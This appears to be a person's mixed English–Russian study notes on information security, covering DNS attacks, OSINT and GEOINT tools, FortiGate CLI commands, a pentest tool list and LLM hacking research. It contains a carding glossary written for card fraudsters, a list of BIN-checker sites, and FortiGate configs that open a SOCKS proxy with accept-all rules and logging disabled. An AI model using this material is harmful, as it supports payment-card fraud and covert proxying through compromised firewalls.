- Blue hat - used to bug-test a system prior to its launch. Microsoft red-team, blue-team concept.
- Hacktivist -
- Nation state - Intelligence agencies and cyberwarfare operatives of nation states
- Organized criminal gangs
56. carding
This is important to understand, or you will get bullied by carding scene.
Bank-emitent (Issuing bank) - bank which has issued the card
Billing address - the card owner address
Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the earnings to you.
Billing - office, which has agreement with a bank. Also this office assumes payments for the cards.
Card bill - it's a Bank emitent card bill.
Bank-equirer - bank, in which the store opens the account.
Merchant account - bank account for accepting credit cards.
Merchant Bank - bank, through which occur the payments between the buyer and the salesman (frequently it is used as synonym "bank-equirer").
Cardholder - owner of the card.
Validity - suitability card using.
White plastic - a piece of the pure plastic, where the information is plot.
CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card with the magnetic strip.
Transaction - charege to the credit card
POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.
PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By simple words password for the work with ATM and so on.
AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its holder.
"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).
Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).
Reader - information reading device for the readout from the magnetic strip of card.
Encoder - read/write device for the magnetic track of the card.
Embosser - card symbol extrusion device.
Card printer - card information printing device.
Exp.date - card validity period.
Area code - the first of 3 or 6 numbers of the card owner phone.
CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.
ePlus - program for checking the cards.
BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".
Chargeback - the cardholder's bank voids the removal of money from its card.
Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.
Track (road) - a part of the dump with the specific information. Every 1-st track is the information about the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card, etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.
Slip - synonym to the word "cheque" (conformably to card settlings).
Card balance - money sum that finding on the card account.
MMN Mothers Maiden Name, important if you want to change the billing address
57. phishing
58. dns attacks
- DNS hijacking - alter DNS record to redicrect to malicious server.
- DNS Cache Posoning - inject corrupt DNS data into DNS resolver cache to malicious server.
- DNS Amplification - Overwhelm a target with large DNS responses using small, spoofed queries.
- DNS Tunneling - Encode data within DNS queries/responses to covertly exfiltrate data through firewalls.
- DNS Flooding - create large number of subdomain requests to overwhelm a DNS sever.
- Domain Generation Algorithm Attack - Generate domain names dynamically to make it hard to block malicious domains.
- DNS Rebinding - manipulate DNS responses to trick a browser into interacting with a malicious server.
- NXDOMAIN Attack - Flood the DNS server with requests for non-existent domains to overload the server.
- DNSSEC Bypass - Exploit vulnerabilities of DNS Security Extensions to bypass the protection.
59. Distributed Deception Platform (DDP)
advanced persistent threat (APT) or APT-attack -
60. Trusted Platform Modules (TPM) + LUKS
- TPM as key storage for LUKS data carriers
- unattended system boot from a LUKS disk
60.1. links
- https://blog-b1--systems-de.translate.goog/teil-1-einleitung-ubersicht-uber-die-funktionen-und-die-organisation-von-schlusseln-und-daten-mit-tpm?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp
- https://blog-b1--systems-de.translate.goog/teil-2-werkzeuge-fur-tpm-auf-linux-installieren-schlussel-und-zertifikate-verwalten-und-benutzen?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp
- https://blog-b1--systems-de.translate.goog/teil-3-datentrager-mit-tpm-und-luks-ver-und-entschlusseln-zusammenfassung-und-fazit?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp
61. MS Microsoft
61.1. Active Directorory
LLMNR Poisoning -
LLMNR - protocol for name resolution, successor to NetBIOS. (when DNS resolution fails).
- no authentication mechanism. Anyone can respond to an LLMNR request.
61.1.1. tools
62. skills for work
База
- Основы ИБ
- DevOps
- Pentest
- AppSec
SSDL - security development life cycle. ???
специалисты
- Администрирование средств защиты информации, инженер по информационной безопасности
- Специалист по зищите информации
- Архитектор по информационной безопасности
- Специались по безопасной разработке приложений Appsec, DevsecOps
- Аналитик кибербезопасности
- Специалист по технической защите информации
- Пентестер - специалист по анализу защищенности
- специались по криптографической защите информации
- Аналитик SOC L2
- специалист по комплекской информационной безопасности
o
- Теоретическая подготовка в области информационной безопасности, знание федерального и иностранного законодательства в области защиты информации (98-ФЗ, 149-ФЗ, 187-ФЗ, 152-ФЗ, ЦБ - ГОСТ 57580, ISO 2700х и др.), знание методических документов ФСТЭК России и ФСБ России;
- Широкий кругозор в области ИТ-технологий, понимание современных угроз информационной безопасности и способов защиты от них;
- Знание разновидностей СЗИ (FW, Anti-Spam, Anti-DDos, WAF, IPS, IDS, DLP и др);
- Грамотный русский язык;
- Умение хорошо делать презентации
o
- экспертные знания ИБ, linux, Windows, Network;
- знание принципов и инструментов организации сетевой безопасности;
- опыт работы с инцидентами ИБ;
- опыт написания скриптов (bash, PowerShell, Python);
- уметь анализировать журналы регистраций событий СЗИ, журналы ОС, сетевого оборудования, СУБД;
- опыт работы с любой из SIEM систем (Splunk, MaxPatrol, QRadar, ELK и др.), мы используем ELK;
- опыт работы с IDS\IPS, NGFW, SIEM, AV, Sandbox;
- как преимущество пройденное обучение у вендора по основным SIEM системам (ELK, Splunk SIEM);
- как преимущество наличие сертификата Elastic Certified Engineer;
62.1. learning plan
https://github.com/farhanashrafdev/90DaysOfCyberSecurity
День 1–7: сети. Подготовка к экзамену CompTIA Network+ (N10-008).
День 8–14: безопасность. Подготовка к экзамену CompTIA Security+ (SY0-601).
День 15–28: Linux. Изучение основ работы с Linux.
День 29–42: Python. Изучение программирования на Python с помощью профильных блогов, курса от Codecademy, книги «Лёгкий способ выучить Python» от Зеда Шоу и задач на Hacker Rank.
День 43–56: анализ трафика. Курсы от Wireshark и статьи по работе с tcpdump.
День 57–63: Git. Курс от Codecademy и документация от GitHub.
День 64–70: ELK-стек. Обучающие материалы от logz.io и Elastic.
День 71–77: Google Cloud Platform, Amazon Web Services или Azure на выбор. Учиться работать с ними автор плана предлагает по официальной документации сервисов.
День 85–90: хакинг. Курсы от Hack the Box и лекции по этичному хакингу на YouTube.
День 91–92: резюме. Советы по составлению резюме и шаблоны.
День 93–95: поиск работы.
63. messengers article
Сквозное шифрование (E2EE) - были доступны для чтения только отправителю и получателю
63.1. central vs distributed
Рассмотрим недостатки централизованных серверов:
- Уязвимость к атакам: Хранение всех данных в одном месте делает их весьма привлекательной целью для хакеров.
- Полное отсутствие контроля: Пользователи не имеют прямого контроля над своими данными и полностью вверяют судьбу своих данных в руки компании-разработчика в вопросах их безопасности.
- Элементы цензуры: Централизованные серверы могут быть использованы для цензуры сообщений или блокировки пользователей.
Преимущества централизованных серверов:
- Простота использования: Централизованные мессенджеры, как правило, просты в настройке и использовании, что делает их доступными для широкой аудитории.
- Надежность: Централизованные серверы обычно имеют более высокую надежность, чем децентрализованные сети, что обеспечивает бесперебойную работу.
- Функциональность: Централизованные мессенджеры, как правило, имеют более широкий набор функций, чем децентрализованные аналоги.
64. TODO Open-source intelligence (OSINT)
collection and analysis of data gathered from open sources
tools
- web browser
- dashboards
Metagoofil - это инструмент, разработанный для сбора информации через метаданные файлов, которые можно найти в открытом доступе в интернете. Он является мощным средством в арсенале OSINT, так как позволяет собирать полезные данные о цели без необходимости взлома систем.
Основные функции:
- Сбор метаданных файлов: Metagoofil позволяет извлекать метаданные из различных файлов.
- Поддержка множества форматов файлов: Инструмент работает с различными типами файлов.
- Поиск по ключевым словам: Metagoofil позволяет выполнять поиск по определенным ключевым словам.
As an example, it uses the Google query below to find all the .pdf files being hosted on example.com and optionally downloads a local copy. site:example.com filetype:pdf
65. Operations security (OPSEC) - procedural security - for risk management
a process that organizations deploy to prevent sensitive information from getting into the wrong hands. OPSEC identifies actions that may seem innocuous but could inadvertently result in critical or sensitive data being revealed or leaked to a potential attacker.
66. geographic intelligence
географическая развдека
💬Геоинт (от англ. GEOINT — geographic intelligence) — это вид разведывательной деятельности, которая использует географические данные, включая картографию, изображения и информацию о местоположении для сбор и анализа разведданных. В последнее время популярность GEOINT сравнима с популярностью OSINT, поэтому сегодня расскажем вам о некоторых интересных инструментах.
🟢 app.shadowmap.org Специализированная карта, которая позволяет определить вид здания или места в определённое время суток. Суть инструмента — в учитывании расположения солнца и соответствующих теней. Помогает определить время или местоположение анализируемого фотоматериала.
🟢 suncalc.org Намного более продвинутая и сложная в использовании версия инструмента выше. Позволяет работать с картой и положением солнца для определения местоположения или времени анализируемого фотоматериала.
🟢geodetective.io Ресурс для тех, кто практикует GEOINT и повышает уровень своих знаний. Сайт предоставляет фотоматериал, на котором можно практиковаться. Кстати, на сайте можно загрузить свой материал, который попытаются отыскать другие энтузиасты и эксперты.
🟢 osmbuildings.org Специальная 3D-карта, которая позволяет получить широкий перечень информации о каком-либо здании: его физические параметры, тип и т.д.
🟢 cyberdetective.com/osintmap Супер-инструмент с подборкой региональных источников для OSINT разведки по странам.
67. cameras
67.1. found IP cameras - ICS- и IoT-устройств
GEOCAM, Airport Webcams, EarthCam, YouWebCams, WorldCam.[eu], WorldCam[.]ru и TVway,
67.2. Обнаружение прослушивающих устройств и камер
WLAN-сигналов беспроводных устройств
68. routers
- SD-WAN - software-defined wide area network - virtually configured service that connects data centers to branches and cloud.
- Software-defined networking (SDN) - approach to network management that uses abstraction to enable dynamic and programmatically network configuration to create grouping and segmentation. May be employed to centralize network intelligence in one network component. Drawbacks: scalability and elasticity.
- Domain name system (DNS) - mapping a domain name to a website’s IP address
68.1. fortinet
68.1.1. theory first configuration
68.1.2. keys
- ?
- Tab
- Up arrow or Ctrl + P/N
- Left or Right arrow
- Ctrl + C
- \ then Enter
68.1.3. commands
- config Configure object.
- get Get dynamic and system information.
- show Show configuration.
- diagnose Diagnose facility.
- execute Execute static commands.
- alias Execute alias commands.
- exit Exit the CLI.
When configuring a list,
- set - remove the previous configuration.
- append - add an option to an existing list.
- select - Clear all of the options except for those specified.
- unselect - Remove an option from an existing list.
variables
- $USERFROM - The management access type (ssh, jsconsole, and so on) and the IPv4 address of the administrator that configured the item.
- $USERNAME - The account name of the administrator that configured the item.
- $SerialNum - The serial number of the FortiGate.
get system session list | grep -n tcp
68.1.4. use cases
add ssh certificate https://docs.fortinet.com/document/fortigate/7.6.0/administration-guide/153747/administrative-access-using-certificates#aanchor36
Info:
- get hardware status
- get system status
dns:
- show system dns
sniffer:
diagnose sniffer packet wan 'host 20.20.20.20 and port 3389' 4
routing table:
- get router info routing-table database
- get router info routing-table details
listened services
diagnose sys tcpsock | grep '0.0.0.0:0->state=listen err=0 socktype=1'
- socks5
config web-proxy explicit set status enable set socks enable set http-incoming-port 54341 set incoming-ip 20.9.2.5 set sec-default-action accept end
config system interface edit "internal" set vdom root set explicit-web-proxy enable set explicit-web-proxy-port 54341 next end
config firewall service custom edit "SOCKS-Proxy" set protocol TCP set tcp-portrange 54341 next end
config firewall policy edit 26 set name "SProxy" set srcintf "any" set dstintf "internal" set dstintf "ha1" "port1" "port2" "port3" "port4" "port5" "port6" "port7" "port9" "port10" "port11" "port12" "port18" "port19" set srcaddr "all" set internet-service "SOCKS-Proxy" set action accept set schedule "always" set logtraffic disable next end
config firewall proxy-policy edit 0 set proxy explicit-web set dstintf <waninterface> set srcaddr <internalsubnet> set dstaddr all set action accept set schedule always set service webproxy set logtraffic disable next end
config authentication scheme edit "Auth-scheme-Basic" set method basic next end
config authentication rule edit "Auth-Rule" set status enable set protocol http set srcaddr "all" set active-auth-method "Auth-scheme-Basic" next end
config web-proxy global set default-user-group "Authenticated-Users" end
config web-proxy profile edit "proxy-profile" config authentication-rule edit "Auth-Rule" next end
curl –socks5 10.1.100.6:1080 http://172.16.200.99 -v -k –proxy-user test1:123
- explicit proxy
- forwarding to internal
config firewall vip edit "RDPVIP" set interface "wan1" set extip 20.20.20.20 # Your public IP address set mappedip 192.168.1.100 # Internal IP address of the server set portforward enable set extport 3389 # External service port set mappedport 3389 # Mapped IP port set extintf mgmt next end
config firewall policy edit 0 set name "AllowRDP" set srcintf "wan1" set dstintf "internal" set srcaddr "all" set dstaddr "RDPVIP" set service "RDP" set action accept set schedule "always" set nat disable next end
68.1.5. Edit:
config system interface edit <interface_str> append allowaccess ssh next end
Where <interfacestr> is the name of the network interface associated with the physical network port, such as port1.
Show:
show system interface <interface_str>
68.1.6. ports
69. Adversarial machine learning
- Exploratory (or inference) attack where the adversary aims to understand how the target machine learning algorithm, e.g., a classifier, works.
- Evasion attack where the adversary aims to fool a machine learning algorithm into making wrong decisions.
- Causative (or poisoning) attack where the adversary aims to provide incorrect training data for a machine learning algorithm to (re)train itself.
Over-the-air (OTA) wireless attacks:
- jamming
- spectrum poisoning - predicts the transmission outcomes. then jam data transmissions or manipulate sensing results over the air (by transmitting during the sensing phase) to fool the transmitter into making wrong transmit decisions in the test phase (corresponding to an evasion attack).
- priority violation attacks.
When the IoT transmitter collects sensing results as training data to retrain its channel access algorithm, the adversary launches a causative attack to manipulate the input data to the transmitter over the air.
Poster: Adversarial Perturbation Attacks on the State-of-the-Art Cryptojacking Detection System in IoT Networks https://arxiv.org/pdf/1906.00076
70. collecting information
https://github.com/asharbinkhalil/gumshoe
— Social Search Этот инструмент позволяет искать профили в социальных сетях по имени, электронной почте или номеру телефона.
— BeenVerified Это платный сервис, который объединяет данные из множества источников, включая записи о собственности, истории арестов и социальные профили.
70.1. by credit card
📍bincheak.org 📍bincheak.io 📍bincheaker.com 📍freebinchecker.com 📍binlist.net
71. tools
71.1. common
Network Exploitation and Scanning
- Nmap: A network scanning and mapping tool to discover hosts, services, and operating systems.
- Metasploit: A penetration testing framework to exploit vulnerabilities and simulate attacks.
- Burp Suite: A web application security testing tool to identify vulnerabilities and perform attacks.
Password Cracking and Credential Management
- John the Ripper: A password cracking tool to crack hashed passwords.
- Hashcat: A password cracking tool to crack hashed passwords.
- Cain & Abel: A password cracking and credential management tool.
Social Engineering and Phishing
- Social Engineer Toolkit (SET): A tool to perform social engineering attacks, including phishing and spear phishing.
- Phishing Frenzy: A tool to simulate phishing attacks and track user interactions.
Malware Analysis and Reverse Engineering
- OllyDbg: A debugger to analyze and reverse-engineer malware.
- IDA Pro: A disassembler and debugger to analyze and reverse-engineer malware.
- Cuckoo Sandbox: A sandbox environment to analyze and detect malware.
Wireless and Bluetooth Exploitation
- Aircrack-ng: A tool to crack WEP and WPA passwords and perform wireless attacks.
- Bluelog: A tool to detect and exploit Bluetooth devices.
Operating System and Application Exploitation
- PowerSploit: A collection of PowerShell scripts to exploit Windows systems.
- Exploit-DB: A database of exploits for various operating systems and applications.
- SearchSploit: A tool to search for exploits in the Exploit-DB database.
Stealth and Evasion
- Veil: A tool to create stealthy and evasive malware.
- Empire: A tool to create and manage PowerShell-based malware.
Reporting and Collaboration
- Faraday: A tool to manage and report on penetration testing and vulnerability assessments.
- Dradis: A tool to manage and report on penetration testing and vulnerability assessments.
- Slack: A communication platform to collaborate with team members.
Other Essential Tools
- Kali Linux: A Linux distribution specifically designed for penetration testing and digital forensics.
- VirtualBox: A virtualization platform to create and manage virtual machines.
- Wireshark: A network protocol analyzer to capture and analyze network traffic.
71.2. encryptor - ransomware
BlackCat - Rust language
72. check socks5
curl -v -A 'Mozilla Firefox' -x socks5h://20.19.2.2:54341 https://google.com
73. compression of text or code
74. NEXT LEVEL
протоколы:
- TCP/IP, Ethernet, MPLS, IP SLA, QoS и т.п
- Знания в области IP маршрутизации, знать как работаю протоколы OSPF, EIGRP, BGP
- Знания в L2 и и понимание работы протоколов STP, RSTP, VTP, link-aggregation
- Понимание принципов работы MPLS
коммутаторами и маршрутизаторами Cisco
75. LLM
75.1. 2024 LLM Agents can Autonomously Hack Websites https://arxiv.org/pdf/2402.06664.pdf
LLM + Tools + Documents + History
LLM agent - a system that can use an LLM to reason through a problem, create a plan to solve the problem, and execute the plan with the help of a set of tools
lanning/reacting can be as simple as feeding the outputs of the tools/APIs back to the model as further context.